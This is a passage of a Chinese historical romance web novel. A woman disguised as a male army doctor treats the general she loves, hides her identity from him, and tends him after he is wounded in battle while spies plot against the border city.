“再说罢。”他抬手按了按钝钝紧绷的太阳穴,不胜烦闷地起身离去。 华姝伏跪在地,悄然松了口气。 * 此后几日,南戎几乎每日都来攻城。 或白日阵前挑衅,或夜间卑鄙偷袭。 霍霆兵分两路,杨靖带一半人马专应白日作战,吴广带一半人马夜间守城。 霍霆自己坐镇主帅大营,统筹三军,根据现有粮草和后续援军,不断调整作战方案。 受伤的士兵越来越多。华姝跟着林晟,从早到晚看诊、包扎、熬药……循环往复。累极了她和衣就地眯会,有时梦里都在念叨药童去给药炉添水。 本来萧成也要划分给她看管,唯恐露馅,她寻个借口,将人转托给了王大夫。 这期间,几乎与霍霆无交集。 她乐意之至,至少说明他无病无灾。 这天晚膳后,她和往常一样向林晟请假,准备忙里偷闲地回家梳洗。 军医大帐外,林晟正守着一整排熬煮的药炉,拿蒲扇拦下她,“你晚回半个时辰,替我跑一趟,去给王爷请平安脉。” 华姝迟疑:“草民不了解将军的过往脉案,恐是惹他不愉快。” 林晟摆了摆手,“不打紧,王爷一向善待百姓。” 账中,萧成冷哼:“那你自己怎得不去?” 林晟:“我、我这不忙着看药炉嘛?” 萧成:“人家张大夫也能看啊。” “你你你、你个伤患少说话,管好自己嘴巴!”林晟气气呼呼冲进帐中,又与萧成打嘴仗三百回合。 华姝隔岸观火,看着两人吵吵,仿佛一夕回到了从前在京郊别院的光景。 闹到最后,萧成跟她透了底:“谁去了都不会痛快,你快去快回吧,老大总归不会滥杀无辜。” 华姝瞪林晟,合着拿她隔这挡灾呢。 林晟摸了摸鼻子,背过身去麻利地抓出一包药,塞进她手里,“医治头疾,配合药浴。”说完也不给她开口拒绝的机会,迅速闪身而去。 药、药浴? 冷风萧萧,华姝只觉这包药格外烫手。 * 戌时刚过,营外梆子敲了三下。 顾朝清点完剩余的粮草马匹,裹紧素色披风,又前往军械库巡查。 他前脚一走,负责看管战马的老兵就打了个哈欠,将最后一捆草料扔进槽里,转身去墙角摸自己的酒葫芦。 就在这片息间,一道黑影贴着马厩的木栅栏滑了进来,直奔那匹日行千里的汗血宝马,霍霆的坐骑“逐日”。 只见那人蹲下身,先从怀里掏出一把晒干的苜蓿,慢悠悠地递到逐日嘴边。逐日打了个响鼻,低头去啃草料,警惕性渐渐松懈。 紧接着,那人借着马厩里昏黄的油灯,从袖中摸出一不明物什,在灯下泛着一点不易察觉的哑光,慢慢靠近逐日。 整个过程不过弹指之间。黑影做完一切后利落收回手,将沾了草料碎屑的手指在衣角擦了擦,又悄无声息地滑出了马厩。 老兵喝完酒回头,只看见逐日正埋头吃草,半点异常都没有,嘟囔了句“这畜生倒乖”,就顺势锁上马厩门,踱着步子回了自己的窝棚。 须臾后,华姝拎着药箱,顺路经过马厩,远远望了一眼逐日。 那人曾许诺,逐日生的小马给她养。 后来濯缨偷偷告诉她,逐日其实是匹公马…… 一道脚步声由远及近,来人是顾朝。他笑问道:“这么晚了,张兄还未回?” 华姝指了指药箱,“奉林军医之命,去给霍将军请平安脉。” “前日听闻了张兄救治萧将军的义举,当真给咱云城挣得好大的脸面。”顾朝拱手,“在下敬佩之至。” 华姝随意笑笑,看他:“顾兄呢,怎得也未休息?” 顾朝指了指马厩旁边的粮仓,“刚刚清点库存时,应是将玉佩不慎遗落在此,我拿上就回了。” 华姝点点头,两人就此别过。 自从那晚南戎奸细夜袭铁匠铺后,两人之间多了些默契,似也多了些缝隙。 主帅大帐外,有专门的守卫兵巡逻。统一挺拔的墨衣盔甲,步伐铿锵有力。 长缨站在账外,正翘首以盼。 “你怎得才来?让王爷好等。”待来人走近一瞧,“……张大夫?” 华姝解释来意,经长缨通禀后进帐。 主帅大帐被一架雕花漆木屏风一分为二,内里隐约能瞧见寝床,外间是矮塌和书案。 书案上摊铺着一张巨幅布防图,此时已值深夜,霍霆仍手执红黑两种小旗,对着其比比划划。 重型盔甲架在一旁,他身上只一袭玄色常服,边按着绷紧的眉心,边冷冷瞥了眼门口,“怎得是你?” 华姝握紧药箱提柄,重复解释道:“林军医事务繁杂,一时走不开。” 霍霆嗤了声,意味不明。 华姝一时拿不准他心思,趁机试探道:“草民能力有限,或者现在回去禀明林军医,待他等会得空了再亲自过来?” “来都来了,随便按按罢。”霍霆语气透着烦躁,掷了手上小旗,抬脚绕到屏风后面。 很快,那件玄色常服搭到了屏风上。 华姝眼眸像被烫了下,脚步踌躇。 这确定是随便按按么? 账外,长缨已提来两大桶热水,哗哗哗倒进屏风后的浴桶里,冷清的大帐霎时水汽氤氲,白雾茫茫。 华姝将药包洒进浴桶,然后假借检查药箱,转身背对着浴桶,只等男人坐进水中再给他按头。 她庆幸得亏是药浴,水面飘着厚厚一层药材,该遮的应该都能遮住。 背后一阵布料的窸窣声,忽地停住。 “过来搭把手。” 华姝捏着药膏瓷瓶的手一滞,也不敢回头看,弱弱问:“将军是有要事吩咐,不若草民请账外侍卫过来听令?” “就解个衣绳,哪犯得喊人?”男人愈发不耐,沉声命令:“就你来。” 华姝抿唇,也不怕她是南戎的奸细! 她推却不得,先用余光朝身后快速瞟了一眼,确认他衣衫还算齐整,才放心地走过去。 近前一看,原是束在侧腰的衣绳成了死结,她遂低头仔细地帮他解开,任务完成得轻轻松松。 男人又习惯性地伸平宽阔的双臂。 “……” 华姝默了默,只好伸手去够他衣领。 奈何这人生得过于魁岸,高出她一头多,巴巴颠起脚尖,才摇摇晃晃碰到他衣领,勉强从身后半脱半拽下那白色里衣。 指尖擦过那灼热脊背,似是燃溅出一路火星。 华姝转身将里衣挂到屏风上。 身后霍霆已利落脱下黑色长裤。 从军之人本就不讲究,又当她是个男子,他随手将那长裤直接朝着屏风扔了过来。 余有体温的裤腿,恰是贴着华姝的面皮而过,烫得她呼吸一抖。 紧接着,热水从浴桶哗啦啦漫了出来,潮热的水汽,又蒸得她喉头干涩发紧。 整个人像被钉在原地,半晌不敢动。 夜色静谧,药香裹着水雾弥散入空气,偶有巡夜队伍经过,脚步声齐齐整整地远去。 霍霆枕靠在浴桶边缘,热水渗透毛孔,稍稍缓解四肢的疲惫。他眼皮发沉,无声阖拢。 新来的年轻医郎,双手在他绷紧钝痛的头皮上按揉着。 这人十指纤软,力道柔中带韧,动作细致入微,比林军医等人按摩起来要舒服,将他余下的疲惫也渐渐碾开了去。 变得轻盈的思绪飘远,不知不觉间,竟似回到了那间半山腰茅草屋。 彼时他枕在炕沿上,也有一双酥软小手在他头上灵活作弄,舒畅感一路蔓延进四肢百骸。 混沌间,霍霆恍然睁开了眼。 四目相对,撞进上空一双目光,像极了记忆中那双剪剪水眸…… 他豁然坐起身,侧头定定盯着她。 昏黄的烛火下,医郎额骨扁平宽大,下颌菱角分明,嘴唇肥厚,都是典型的男性面相。 至于那双眼睛,换个角度又不像了。 华姝被他瞧得心里发毛,“是按揉的效果不佳么?”她若无其事别开脸,从腿边的药箱里取出一罐白瓷瓶,“我给您涂些安神药膏吧,效果会更好。” 霍霆眼神黯淡下去,重新躺回去,暗嘲自己当真是草木皆兵。 温凉的药膏涂抹在太阳穴,他又清醒几分,随口似的问道:“我看你那药堂搭理得井井有条,张大夫可是已婚配?” 华姝一早就想好了托词,叹惜道:“本是迎娶自家表妹过门,奈何早殇。” 霍霆:“没想过再找一个?” 华姝摇头。 霍霆:“看来你们关系很好。” 华姝:“青梅竹马,举案齐眉。” “那她离开后,你应该很难过吧?” 男人问这话时,貌似还是寻常语气。 华姝却莫名的,心脏狠狠抽痛了下。 是谁很难过? 很难过,究竟是多难过? 她借着灯光,打量着他肩颈又添得一道道新伤,还有这没来由的头疾,她刚刚在军医大帐那,都不敢跟林军医追根究底。 生怕问清楚了,就狠不下心离开了。 一滴灼热顺着眼角滑落,她眨了眨眼,才缓声道:“起初很悲恸,后面出门游医,三五载后也就渐渐释然了。” 闻言,霍霆淡淡哂笑了声:“那你们也不过如此。” “……?” 他这语气怎么听着还挺……骄傲? 华姝对此不置可否,又专心给他活络筋骨。头部经络大多与肩颈相通,除了头部,还将他双臂仔仔细细揉捏了一遍。 握住他手掌时,带着薄茧的手指起初警惕地一把扣住她手腕,睁眼懒懒瞥她一下,就任由她施为了。 像是只被养熟的猛虎,半打起盹来。 华姝经历最初的胆战心惊后,动作也渐渐变得自在熟练。 这也没萧成他们说得那么难伺候嘛。 她气力小,有些腱子肉下淤堵的筋脉结节揉碾不开,十指化拳,两只白净小锤子对着他麦色臂膀一顿敲敲打打。 等疏通开全部经络时,额头已经沁出一层薄薄的香汗。 她用衣袖擦了擦,利落收拾好药箱,快速功成身退:“将军,要是没什么事,草民就先告退了。” “等等。” 被按揉得太舒服,霍霆困乏得解,精气十足地舒展挺直腰身,招手拦下她,“你这手法比之林晟还要不错,再将腿也一并给本王按按。” 按、按腿? 就着浴桶这么按吗? 华姝偷瞟了眼浴桶内那岌岌可危的水位线,眼睫眨了又眨,喉头吞动,赶忙请示道:“不若沐浴过后,草民给将军全身针灸一番?” 虽说也要袒胸露背,但至少也不用这般坦诚相见。 霍霆却是沉吟:“先按摩再针灸,效果岂不是更好?” 华姝睁眼说瞎话:“都差不多的。” “那便针灸试试罢。”霍霆也觉得泡得差不多了,遂伸手够过一旁矮凳上的干净帕子,起身穿衣。 华姝面红耳赤地躲到那军用矮床旁边,将针灸包摊开在矮木几上,一根根用药酒擦拭。 针灸要扎在穴位上,找穴位就要先用指腹按了按。 等到将他双膝之上的腱子肉,也扎满银针时,她的头已低垂进了尘埃里,只露个后脑勺面对他。 “将军需等上两刻钟,银针方可取下。”说完,她羞羞答答埋着头,绕到屏风后面去净手。 不曾想,长缨正准备倾倒最后一盆洗澡水,一不留神,两人蓦地相撞。 水盆脱手,对着华姝兜头浇下。 衣服从里到外,当场被浇得透心凉。 她倒吸一口凉气,眼睛缓了好半晌才睁开,接过长缨递来的干帕子,忙不迭轻轻擦干那种假脸皮,尤其是鬓角的粘合处。 又用指腹试探摸了摸,万幸没脱胶。 动静过大,难免惊动床上假寐之人。 霍霆蹙眉瞧过来,不悦地斥责长缨,“干什么呢?毛毛躁……” 话音未落,他眸色怔住。 因着被水淋透,医郎宽大的衣袍全部贴在了身上,原本被遮掩起来的身材初初显露。 帐中烛火昏暗,隐没医郎的五官。 灯影憧憧下,霍霆定定瞧着那抹纤瘦的背影,似曾相识的熟悉感,让他舌尖不自觉攒起一声呢喃:“……姝儿?” 医郎的身形应声僵住。 第63章 “姝儿,别走……”…… 烛影摇落, 帐内静得只剩衣料滴水的轻响,连呼吸都似凝结在了昏朦的光影里。 被发现了么? 她是哪里露出了马脚? 华姝背对着床榻,久久不敢妄动。 她实在没作好相认的准备,道声平安容易, 日后一连串的艰险却是难如登天。 “转过来!” 霍霆沉声命令, 不容置喙。 华姝将帕子还给长缨, 慢吞吞转过身,“将军有何吩咐?” 霍霆:“起针。” 华姝迟疑:“时辰还未到。” 男人盯着她, 墨眸微眯,不怒自威。 华姝忐忑行至床前,在他半晦半明的目光下,她起手拔针间尽量不疾不徐,从容自若。 最后一根针拔下,不待她放回布包,苍劲的麦色大掌倏地就扣住了她纤细的脖颈,粗粝指腹按向那枚假喉结。 华姝喉头一紧。 霍霆神情亦是一紧。 他反复摩挲着医郎脖颈处的凸起,大小适中, 软硬适度, 竟是与寻常男子无异。 霍霆缓慢蹙眉, 若有所思。 华姝悄瞧他一眼,手上银针在她瞳仁缓缓掠过一抹银色的精芒。 “王爷, ”她欲言又止, 目光怪异:“您是咱大昭的信仰, 是百姓的神祇, 草民尊您敬您。但我心中只有亡妻一人,再装不下其他人了……” “胡说八道。” 霍霆黑了脸,厌弃地一把放开她。 长缨反应片刻, 也是面露尴尬。他轻咳一声:“张大夫,您误会了,我家王爷还以为遇到了故人。” 华姝连连点头,“我懂的,我都懂,您不用解释。” 长缨:“……” 不是,你懂什么了? 怎么感觉还越描越黑呢? “罢了,你且先回去换衣裳。”霍霆揉着愈发绷紧的太阳穴,重新烦躁躺下。 华姝利索收拾好药箱,拎上就走。 她挑开大帐的门帘,一只脚刚迈出去,就见一人一马迎面疾驰而来,“急报——” 他策身下马,抱拳跪地,“启禀将军,敌军攻城!” 长缨夺门而出,“吴将军呢?” 哨兵:“吴将军突然身体抱怨。” 长缨皱眉:“敌军几何?” 哨兵:“据观测,足足有五万人马。” 长缨面色大骇,回身进去急报:“王爷,此次敌袭几乎是对方全部的人马,不再是前几天的骚扰迂回之术了。” 大帐中,霍霆早已起身,有条不紊地穿戴好盔甲,语气平淡无波:“传令下去,整顿三军,即刻迎敌。” 哨兵:“是!” 前后有问有答,不过须臾。 华姝被惊滞一阵,回神后,忙轻手轻脚地告退。 霍霆持剑信步而出,瞥见她在夜风里湿漉漉的身影,交代长缨:“给他找件衣裳,然后去瞧瞧吴广。这次南戎来势汹汹,别是混进了什么奸细。” 待逐日被侍卫牵来,他纵身上马,挺阔的背影翻覆间便掠入夜色,蹄声踏破沉寂。 萧萧凉夜卷长风,玄甲战袍猎猎飞舞,出征的号角穿云裂石,铮铮震彻苍穹。 * 华姝临时借用一套长缨的旧衣袍,换好后,即刻随他前往吴广的营帐。 检查下来并没什么异样,经询问,原是吴广吃完烤炙肉后,又喝了杯凉茶,一时不慎吃坏了肚子。 如此,她便功成身退。 此时已是夜半三更,月光皎皎,华姝走在回家的路上,除了巡逻的侍卫队,几乎碰不到什么人。 她凝着眉尖,回想起今晚惊险的一幕,心有余悸,感觉日后得再离得远些。 可随着南城门临近,不绝于耳的嘈杂厮杀声,像是一道荆棘束缚得她挪不动步子。 眼前浮现萧成血淋淋的断腿,华姝不由得心脏抽紧,随着战鼓的鼓点声起起伏伏,惴惴不安。 月辉星空下,纤瘦的医郎双掌合十,仰望苍天,喃喃祷告:“愿他岁岁平安……” “撤——” 突然,城墙上一声高喝,鼓点声急促阵阵,开始鸣金收兵。 紧接着城门大开,一白袍小将在众人掩护之下,率先骑马冲进城内,疾驰而来。 华姝急急后退让路,远远望见那人的马背上竟还驮着一人,刺目的鲜血顺着他玄色披风淌了一路。 待近前一瞧,赫然是霍霆! 华姝倒吸一口凉气。 怎么会?他武艺精湛,谋略过人,出征前又是那般泰然自若……他、他怎么会受伤至此? 那白袍小将一眼认出了她,“张大夫,快去喊林军医!”说罢,两人一马朝着主帅大营,继续逆风狂奔。 前路恰有巡逻卫队经过,个个皆是变色:“将军——” “都别乱!坚守住自己岗位。” 领队一声令下,众人令行禁止。 树欲静而风不止,华姝惊愣几息,一反应过来就扔了药箱,拔腿就往军医大帐狂奔。 不会有事的…… 你一定不会有事的。 我绝不会让你有事的! 跑得太快,她踉跄摔倒在地。 脚踝剧烈的刺痛传来,她瞧都未瞧一眼,爬起来继续向前跑,拼命地跑,像是不知道疼似的。 她不敢停下,一停下就会忍不住想,万一此前在帐中同他否认身份的瞬间,就是最一面,她该怎么办? 风声在耳侧呼呼倒灌,寒鸦戚戚。 华姝紧赶慢赶,终于冲进军医大帐,拽醒和衣眯在榻上的林晟。 她哆嗦着唇瓣,已然急得失了声,只一味指着主帅大帐方向,泪水扑簌簌而下:“……霍…王……” 林晟费解反应片刻,突然意识到什么,一跃而起,难以置信地攥住她双臂:“王爷受伤啦?!” 华姝重重点头。 “都别睡了,跟我走!” 说时迟那是很快,林晟不再多问,一边抓起医药箱,一边叫上随行的两个军医,撒腿就冲出帐外。 其中有个人跟华姝一样,急得失去平衡,踉跄倒地,他爬起来顾不得拍灰尘,又是蹭蹭地往前跑。 帐中,华姝并未有丝毫松懈。 她稍微喘口气,回忆起霍霆受伤的部位,指挥药童匆匆包了一些血竭、老参片、麻沸散等急用药材,又抱着空药炉和木炭,紧随其后追了上去。 * 主帅大帐,此刻灯火通明。 巡逻卫队从帐前经过,人人都忍不住频频里看,但只是看,谁都没有擅离职守一步。 杨靖闻讯匆匆赶来,经过门口,怒问:“老大怎么可能受伤?对方可是又耍了阴招?!” 白袍小将抱拳回道:“逐日突然暴毙,主帅一时反应不及,栽下马,被贼寇钻了空子。” 杨靖顿住一瞬:“逐日??” 逐日是由霍霆一手养大的…… 华姝走近听到这番话,心里倏然空了下,但也来不及伤感缅怀,紧跟在杨靖身后,瘸着条腿挑帘进去。 一进门,就见一群人密密麻麻围在床前,正在商量怎么取箭。 已被削短的断箭,斜斜插在霍霆的胸口。随着他虚弱呼吸而浮沉,每呼吸一下就牵动他蹙紧的眉梢,苍白的额头渗出更多冷汗。 饶是如此,男人仍气弱哑声交代:“去将作战布防图收好。” 长缨强忍悲恸,绕到屏风后的书案旁,仔细照做。 华姝趁机挤到床前,稍看了眼伤情,连忙将带来的草药按剂量抓给药童,让他去熬制。 林晟半跪在床边,正用上好的止血药粉厚涂在伤口,暂时止住了血,“万幸离心口还差2寸,但箭上有倒钩。” 华姝想起什么,“箭头可有毒?” 林晟:“目前不明显。” 没毒的话,也算不幸中的万幸。 但那倒钩同样不容忽视。一拔断箭,肯定又要撕裂出血,甚至是大出血。 一旁,刘军医俯身反复观摩着伤口,亦是忧声:“现下不清楚箭头的形状,若那倒钩朝下,正对心口,只怕……” 杨靖眦目:“胡说八道!” 吓得刘军医瞬间一哆嗦,不敢多言。 华姝看眼杨靖,又深深看了眼长缨。 那一刻,长缨也不知是怎的,福至心灵地就明白这位小医郎的意思。 他拱手道:“杨将军,王爷和萧将军重伤,吴将军身体抱怨,外面的将士恐怕都还在等着您主持大局呢。” 杨靖一拍脑门,暗道自己急中生乱,连忙请示:“老大,用不用我从宜州调些人手过来?” 霍霆墨眸半阖,微微摇摇头。 暴脾气的杨靖却是没有一丝质疑,道句“那我先去整顿现有人马”就抬脚大步出门。 趁这功夫,华姝也在观摩伤口,“箭头自上向下斜切,离心口要更远些。有剪刀吗?往下再剪开一小截,争取剥落吊钩,再取箭。” 刘军医惊诧:“剪开?” 华姝面不改色:“对,先剪开,再缝合。” 林晟闻言抬头,细细思量起她给萧成缝合时的细密针脚,当机立断:“我来剪,你来缝,其他人打下手。” 刘军医二人见状,纷纷转头去准备。 药童很快端来止血汤药,林晟先用银针测了下,才让长缨喂给霍霆,然后就接过了剪刀。 华姝拦住他,“麻沸汤还没喝呢。” 林晟:“王爷从不用麻沸汤。” 华姝愕然一瞬,不可思议看向床榻。 早在京城时,她就见过他身上大小斑驳的旧伤,单是胸口处的箭痕一手就数不过来,从没用过麻沸散么? 榻上之人微抬眼睫,也在瞧她。 他目光虚弱漂浮,却是莫名一眼洞穿了她的心疼与忧色。 华姝倏然别开眼,蹲身在矮木几前,凝神穿针引线,浸泡热酒,配合林晟。 在一顿紧锣密鼓的操作后,倒钩被成功剥落,没有引发大出血,在场众人皆是如释重负。 “太好了!”长缨喜色难掩,赶紧走到大帐门口,将这消息让人传话给杨靖他们。 林晟脸色却是凝重依旧,“接下来,就是高热了。” 他直起发酸的腰杆,“我去准备退热的汤药,长缨你和刘军医守上半夜。我和老李头守下半夜。” 华姝:“我呢?” 林晟视线下移,“你手都在抖了,先去休息吧。” “我没事,”华姝搓了搓发酸的双手,坚持道:“我比刘军医年轻,还是让他先去休息吧。” 刘军医:“要不这样,我去那矮塌眯会,张大夫有事随时喊我?” 林晟想想也行,应承下来,随后带着药童抓紧回去配置退热的草药。 一行人离开后,大帐安静下来。 长缨吹灭多余灯盏,默默候到一旁。 床头一盏烛光摇曳,华姝打湿帕子给霍霆擦汗,眼见他浓密乌发全被冷汗湿透,忍不住又问:“真不喝麻沸汤吗?” 榻上男人已经疼得没力气摇头了,朝她勉强闭了闭眼。 华姝咬紧下唇,不再作声。 其实她都明白,三军主帅,座下十万大军皆听他一人指挥调度,要随时保持头脑清醒。 可他也是肉体凡胎,会疼会痛…… 华姝转身去清洗帕子,悄悄抹掉眼角的泪珠,再转身回去时,霍霆已在发热,双眼阖闭,昏昏沉沉地睡了过去。 她微不可闻地松口气,昏过去也好,至少能减轻些痛苦。 有长缨在场守着,华姝也不能做什么,转而用手上湿帕子,给霍霆擦拭四肢降温。 高热来得迅猛,湿帕子很快不管用了,她又让长缨从角落翻找来一坛烈酒。 擦拭到掌部时,她私心地握住他一根根手指,就像那次两人在悬崖边的山洞时一样。 她轻轻摩挲下他带着薄茧的指腹。 暗叹,你怎么总是受伤啊? 华姝用烈酒反复擦拭完两三遍,只能让他体表降温好受点,却压不住体内来势汹汹的燥火,毫无血色的唇瓣被烤得干裂开来。 她无比庆幸,这次条件没有同悬崖那次一样简陋,倒了盏温热的茶水,半勺半勺地小口喂进他嘴里。 长缨本欲上前的脚步,缓缓停住。 心中也是惊奇,自家王爷每逢这时心神尤其警惕,绝不肯陌生人近身,今日竟喝了这张大夫喂的茶水? 他想,应是昏迷太过的缘故吧。 华姝喂进去小半盏,忽见男人唇瓣嚅动两下,似在低低叨念什么。 唯恐耽误军机,忙叫长缨来听。 长缨蹲下身,附耳过去片刻,默然的神色一言难尽。恰是这时,林晟带着退热药而来,他起身过去端。 华姝在一旁瞧着,偶有所感,也俯身凑近他赤红的面庞。 入耳,是熟悉的缱绻呢喃。 “姝儿。” “姝儿,别走……” 华姝瞳孔怔惚,整个身形滞在那,只觉那一柄箭仿佛反射在了她的心口。 皮肉撕裂,千疮百孔。 这一刻,她再也绷不住了,不顾一切地握住他手,用本来的柔软嗓音,轻轻回应。 “澜舟,我在。” “我在呢,你一定要好好的。” 话音刚落,葱白纤手就被麦色的大掌紧紧反握住。 男人双眼依旧紧阖,一切全凭本能—— 作者有话说:放个预收《朕与夫人同梦》 点击下方图片,即刻查看,收藏~ 封建大爹x心机漂亮的小寡妇,梦里梦外暧昧拉扯不断,过招不断 【苏爽同梦马甲+老房子着火+强取豪夺+燃冬三人行】 第64章 窈窕的小医郎 长缨端着退热药回来, 就看见王爷昏迷之中,不知怎的,就紧紧攥住了人家小医郎的手。 他汗颜一瞬,忙将药碗放置在床头的矮木几上, 试图松开两人的手, 几次未果。 有那么一瞬间, 长缨感觉自己像个棒打鸳鸯的恶人,有着说不清道不明的怪异。 他看向华姝, 有理有据道:“王爷定是梦见了什么紧要的钦犯,忙着将人抓捕归案。” 华姝忍住没笑:“我懂,忧国忧民嘛。” 长缨点点头,幸好小医郎这次是真懂了。 喂过退热药,华姝两人又守到下半夜,霍霆终于退热。 等林晟和李军医过来换人时,皆是如释重负:“退热了好,退热了好啊,总算有惊无险。” 之后, 刘军医回去军医大帐, 负责看管其他的伤患。 华姝则学着刘军医, 也和衣在屏风外的矮塌上,稍微小憩。 混沌间, 她又几度听见战鼓鸣金, 高亢而嘹亮。不知谁在旁边怒骂一句:“这帮下作的贼寇, 果然趁火打劫来了。” 但她累得昏昏沉沉, 眼皮一耷拉,睡了过去。 再睁眼已是天明。 她是被惊醒的。 “张大夫,对不住了!”杨靖突然带两个人闯进来, 不由分说地喊醒她,径直捆了双手,一路带到马厩。 晨风乍暖还寒,马厩围着一群将士。 有的是负责看守,有的出于义愤,叉着腰特意在这等个说法。 人群正中是逐日的尸骸。 营中兽医正围着它翻来覆去地检查。 顾朝也被捆住双手,静候在一旁。远远望见华姝,苦笑着摇了摇头。 看管战马不利的王二,耷拉肩膀跪在那。一瞧见华姝被杨靖带来,当即大声指认:“对,就是他!昨天晚上在这附近鬼鬼祟祟,还特意望了好几眼主帅的坐骑!” 原来是将她和顾朝都当作嫌犯了啊。 华姝表示可以理解,毕竟发生这么大的疏漏,不揪出幕后黑手反而闹得人心惶惶。 “草民昨夜是受林军医指派,临时去给霍将军请平安脉,这才恰巧路过。”她简明扼要叙述清楚缘由,反问道:“敢问杨将军,这逐日的尸首可检查出了异样?” 杨靖看向兽医,“你来说!” 兽医拱手道:“启禀将军,属下多番检查,在逐日的体表不曾找到伤口。可见并非死于外伤,若想进一步验毒,就得剖开肚子。但逐日毕竟主帅的坐骑,这……” 听这么一说,杨靖也蚌住了,烦躁地摩挲起脑门。老大还没醒,他不便拿注意啊。 静默已久的顾朝,淡笑开口:“敢问杨将军,可知这战马死状如何?” 那白袍小将也在,回忆道:“当时我离着主帅最近,只听得一声凄厉的嘶鸣,逐日就突然跪倒在地,浑身肌肉抽搐不止,不过片刻就气绝身亡。” 华姝上前一步,“可有口吐白沫?” 白袍小将又仔细回想,坚定摇头。 华姝和顾朝对视一眼,“如此一来,中毒的可能性不大。” 兽医亦是点头赞同,他看下那一惯酗酒的王二,“莫不是你昨夜又喝多了,害得战马夜里受了寒,这才得了暴病。你不仅不知悔改,反而在这妄图攀咬他人?” “小的冤枉啊!小的平时是爱喝两口小酒,可这些年来兢兢业业看管战马,从未出过疏漏!”王二吓得连连磕头,“还望杨将军和各位大人明鉴……” “行了,都住口!” 杨靖后半夜一直在城墙上防御,一宿未睡,这会被一群人吵得头疼不矣。 他烦躁地摆了摆手,“先将两位嫌犯和逐日的尸身,仔细看关起来,晚点再行定夺。至于王二,看管战马玩忽职守,先拉下去打二十军棍!” “小的冤枉啊,杨将军……” 王二被拖下去时,挣扎着哀嚎不断。 人群就此散开。 就在众人转身的刹那,混在围观兵士里的一道瘦削身影,嘴角勾起一抹无人察觉的冷笑。 * 宜城 天光大亮,几只白色信鸽接连飞入一处僻静的大宅。 宅院内,容城一一解下信鸽腿上的纸条,进屋禀告:“督主,南戎攻城未捷。” 昨夜霍霆重伤后,南戎企图乘胜追击,几次率兵到城门下叫嚣。 但无论怎么挑衅,杨靖和吴广都没有出城应战,只带人城墙上严防死守。 南戎几次试图爬梯登墙,都被巨石和燃火的飞箭给挡了回去。 一鼓作气,再而衰三而竭。直到天明时分,南戎仍是久攻不下,三军势气受损,将士累得筋疲力尽,最终不得不暂时撤兵。 雕花轩窗旁,裴夙正用细盐慢条斯理地漱口,嗤笑一声:“早前打不过老子,现在打不过儿子,南戎这些年到头来还是一群废物。” 容城不敢多嘴,只如实禀告道:“既如此,云城未曾有人回宜城来抽调兵力支援,先前计划不得实施,可要再派些探子过去接应?” 裴夙用帕子擦净唇角,斜他,“已经打草惊蛇,这会过去是想自投罗网吗?” 容横慌忙垂首,“属下愚笨!还请督主示下。” 裴夙收回冷眸,继续仔细地净手、洁面,“那探子还没撤回来?” 容城:“城外接应的人飞鸽传书回来,说是城中反应迅速,城门戒严,今早一个人都不给放出。” 裴夙濯洗手背的动作一顿,缓了缓,轻舔犬齿,“不愧是镇南王带出来的兵,没一个蠢的。就南戎那群废物,若无人接应,就凭他们还敢肖想云城?” 容城连声应是,却也面露忧色:“可以眼下边境的局势,除去南戎,其他弹丸小国更是无人可用了啊。” 宜城和云城都在大昭的边陲线。 不同于云城的易守难攻,宜城地势低洼,不易布防,但凡兵力上稍有松懈,便能被邻国钻空子。 这也是为何,昭文帝不惜给霍霆加封异姓王,镇守于此。 近几年在霍霆的治理下,实力最为强劲的吐蕃,已与他化敌为友,两国后来更是结为联姻之好。其他几个小国受其兵力震慑,皆被压制得死死的。 唯有与云城接壤的南戎,尚且贼心不死,蠢蠢欲动。 原计划里应外合,让南戎吸引走宜城的大部分兵力,再让其他小国出兵攻陷宜城,逼得霍霆彻底倒台。 怎料,南戎是一堆扶不上墙的烂泥! 凛冽的寒芒在裴夙眼中乍现,又转瞬即逝。他慢悠悠地掀开一墨绿瓷瓶,指尖捻起一坨香膏,轻轻涂抹在清隽的眉眼间。 晨曦从雕花轩窗旁中洒进来,在他唇角映出一抹若有似无的笑:“急什么?城中粮草有限,他们又诸多损兵折将,再是能耐还能蹦跶几日?” 容城恍然一笑:“督主英明。” * 云城,军医大帐 晚膳时分,萧成才从药童口中偶然得知,小医郎疑似奸细而被关起来一事。 “放他奶奶那个嘟噜屁!” 萧成的腿动不了,不妨碍他挽起袖子,破口大骂:“杨靖人呢?我恩人也敢说关就关,他当我萧成是死的吗?!” “暂时看管,暂时的哟。”林晟被他吼得头大,上前安抚:“你先消消气,等王爷醒来自会秉公处理。” “这还用得老大定夺?”萧成板脸瞠目,嗓门吼得更响:“人家张大夫若是奸细,何必拿出看家本领来费心救我?直接让我瘫了,岂不两厢便宜?” “萧将军这话不假。”王大夫附和:“张小医郎平时老实巴交的,给乡里乡亲看病常常自掏腰包,怎么看都不像奸细啊。” “可去王爷大帐的路有左右两条,分明另一条更亮,张大夫偏偏就选了马厩旁边的那条暗路。”林晟摩挲着下巴,“你说这人图啥呢?” 柳大夫:“赶巧啦?” 刘军医叹气:“平时赶巧无所谓,但昨夜嘛……” 李军医摇摇头,“难评。” 萧成懒得跟他们掰扯,指着药童:“你去把杨靖给我叫来,立刻!马上!” 不多时,杨靖挑帘进帐。 一记茶壶盖冲着他的面门,就飞掠而来—— 他闪身一躲,茶壶“啪”摔碎在地。 萧成双臂抱胸,疾言厉色:“我给你一次解释的机会,机会只有一次,你好自为之。” 杨靖:“嘿,我就不说,急死你。” 萧成咬紧后槽牙,指着他,“你等我腿好了着?削不死你!” 两人你来我往地打了半晌的嘴仗,最终杨靖才施施然透露:“有新进展。” 林晟等人齐刷刷围过来:“快说。” “我后来找了几根香,想着说,替老大过去给逐日祭拜祭拜。你们猜怎么着?”杨靖拍了拍自己腰间的荷包,得意道:“还真就被我发现一件重要线索!” 萧成眯眼:“什么东西?” 杨靖:“事关重大,现在还不能透露,等老大醒来再行定夺。” 萧成蹙眉:“我也不行?” 杨靖歪头静静瞧了他一会,谐笑:“啊对,你不行。” 林晟几人噗哧大笑。 萧成反应过来,气得拿枕头砸他,“你给我滚犊子!” * 夜半时分,乌云遮月。 今夜南戎敌军并没有来偷袭,整个云城大营都静悄悄的,篝火簇簇跳动,偶有一排排的巡逻侍卫列队整齐地经过。 忽然,一道鬼祟的身影疾速掠过。 只见他先戳开一个小孔,往杨靖的营帐中吹入迷烟。 而后一记手刀,利落砍晕门口值夜的侍卫,一溜烟地钻进去,直奔床榻。 环顾四周,确认安全后,他悄悄掀开被褥的衣角,手探去开始翻找着什么。 突然之间,一张大网从天而降! 与此同时,主帅大营 霍霆刚刚苏醒过来,半裸的胸膛缠着厚厚纱布,隐约仍被一抹殷红血渍染红,脸色苍白如纸。 